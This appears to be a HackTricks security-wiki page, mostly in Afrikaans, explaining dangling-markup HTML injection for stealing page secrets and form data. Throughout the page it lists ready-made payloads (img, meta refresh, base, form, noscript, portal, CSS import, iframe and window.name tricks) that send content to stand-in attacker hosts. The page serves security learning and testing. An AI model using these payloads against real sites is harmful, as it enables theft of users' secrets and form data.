Dangling Markup - HTML scriptless injection
Reading time: 11 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Resume
Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n HTML-inspuiting gevind word. Dit is baie nuttig as jy nie 'n manier kan vind om 'n XSS te benut nie, maar jy kan sommige HTML-tags inspuit.
Dit is ook nuttig as 'n geheim in duidelike teks gestoor is in die HTML en jy wil dit exfiltreer van die kliënt, of as jy 'n skripuitvoering wil mislei.
Verskeie tegnieke wat hier bespreek word, kan gebruik word om sommige Content Security Policy te omseil deur inligting op onverwagte maniere te exfiltreer (html-tags, CSS, http-meta-tags, vorms, basis...).
Main Applications
Stealing clear text secrets
As jy <img src='http://evil.com/log.cgi?
inspuit wanneer die bladsy gelaai word, sal die slagoffer jou al die kode tussen die ingespuite img
-tag en die volgende aanhaling binne die kode stuur. As 'n geheim op een of ander manier in daardie stuk geleë is, sal jy dit steel (jy kan dieselfde ding doen met 'n dubbele aanhaling, kyk watter meer interessant kan wees om te gebruik).
As die img
-tag verbode is (weens CSP byvoorbeeld) kan jy ook <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
gebruik.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Let wel dat Chrome HTTP-URL's met "<" of "\n" daarin blokkeer, so jy kan ander protokol skemas soos "ftp" probeer.
Jy kan ook CSS @import
misbruik (sal al die kode stuur totdat dit 'n ";" vind)
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Jy kan ook <table
gebruik.
<table background='//your-collaborator-id.burpcollaborator.net?'
Jy kan ook 'n <base
tag invoeg. Alle inligting sal gestuur word totdat die aanhaling gesluit is, maar dit vereis 'n bietjie gebruikersinteraksie (die gebruiker moet op 'n skakel klik, omdat die basis tag die domein wat deur die skakel aangedui word, sal verander):
<base target=' <--- Injected
steal me'<b>test</b>
Steel vorms
<base href="http://evil.com/" />
Dan sal die vorms wat data na die pad stuur (soos <form action='update_profile.php'>
) die data na die kwaadwillige domein stuur.
Steelvorms 2
Stel 'n vormkop in: <form action='http://evil.com/log_steal'>
dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.
Steelvorms 3
Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction":
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
'n Aanvaller kan dit gebruik om die inligting te steel.
Vind 'n voorbeeld van hierdie aanval in hierdie skrywe.
Steel duidelike teks geheime 2
Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg:
<input type='hidden' name='review_body' value="
en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingsteken in die HTML bevat. Hierdie aanval meng die "Stealing clear text secrets" met "Stealing forms2".
Jy kan dieselfde doen deur 'n vorm en 'n <option>
-tag in te spuit. Al die data totdat 'n geslote </option>
gevind word, sal gestuur word:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Form parameter injection
Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
Steel duidelike teks geheime via noscript
<noscript></noscript>
Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaier nie javascript ondersteun nie (jy kan Javascript in Chrome in chrome://settings/content/javascript aktiveer/deaktiveer).
'n Manier om die inhoud van die webblad van die punt van inspuiting na die bodem na 'n aanvaller beheerde webwerf te eksfiltreer, sal wees om dit in te spuit:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Om CSP te omseil met gebruikersinteraksie
From this portswiggers research you can learn that even from the most CSP restricted environments you can still exfiltrate data with some user interaction. In this occasion we are going to use the payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Let wel dat jy die slagoffer sal vra om op 'n skakel te klik wat hom na payload wat deur jou beheer word, sal herlei. Neem ook kennis dat die target
attribuut binne die base
tag HTML-inhoud sal bevat tot die volgende enkele aanhaling.
Dit sal maak dat die waarde van window.name
as die skakel geklik word, al daardie HTML-inhoud gaan wees. Daarom, aangesien jy die bladsy beheer waar die slagoffer toegang verkry deur op die skakel te klik, kan jy daardie window.name
toegang en daardie data exfiltreer:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Misleidende skrip werkvloei 1 - HTML naamruimte aanval
Voeg 'n nuwe etiket met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
Misleidende skripwerkstroom 2 - Skripnaamruimte-aanval
Skep veranderlikes binne die javascript naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
Misbruik van JSONP
As jy 'n JSONP-koppelvlak vind, kan jy in staat wees om 'n arbitrêre funksie met arbitrêre data aan te roep:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Of jy kan selfs probeer om 'n bietjie javascript uit te voer:
<script src="/search?q=a&call=alert(1)"></script>
Iframe misbruik
'n Kinddokument het die vermoë om die location
eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit stel die insluiting van 'n skrip binne 'n iframe in staat om die kliënt na 'n arbitrêre bladsy te herlei:
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
Dit kan gemitigeer word met iets soos: sandbox=' allow-scripts allow-top-navigation'
'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek deur die iframe naam attribuut. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat die sensitiewe inligting binne die iframe naam attribuut laat verskyn en dan daardie naam vanaf die aanvanklike iframe kan verkry en lek.
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
Vir meer inligting, kyk na https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta misbruik
Jy kan meta http-equiv
gebruik om verskeie aksies uit te voer, soos om 'n koekie in te stel: <meta http-equiv="Set-Cookie" Content="SESSID=1">
of om 'n herleiding uit te voer (in 5s in hierdie geval): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Dit kan vermy word met 'n CSP rakende http-equiv ( Content-Security-Policy: default-src 'self';
, of Content-Security-Policy: http-equiv 'self';
)
Nuwe <portal HTML-tag
Jy kan 'n baie interessante navorsing oor uitbuitbare kwesbaarhede van die <portal-tag hier.
Op die oomblik van hierdie skrywe moet jy die portal-tag op Chrome aktiveer in chrome://flags/#enable-portals
of dit sal nie werk nie.
<portal src='https://attacker-server?
HTML Lekke
Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hulle hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Lekke
Dit is 'n mengsel tussen dangling markup en XS-Lekke. Aan die een kant laat die kwesbaarheid toe om HTML (maar nie JS nie) in 'n bladsy van die dieselfde oorsprong as die een wat ons gaan aanval, in te voeg. Aan die ander kant sal ons nie die bladsy waar ons HTML kan invoeg, direk aanval nie, maar 'n ander bladsy.
XS-Soek/XS-Lekke
XS-Soek is georiënteerd om cross-origin inligting te exfiltreer deur side channel-aanvalle te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, egter, sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos CSS Invoeging of Lazy Load Beelde.
Brute-Force Opsporingslys
Verwysings
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.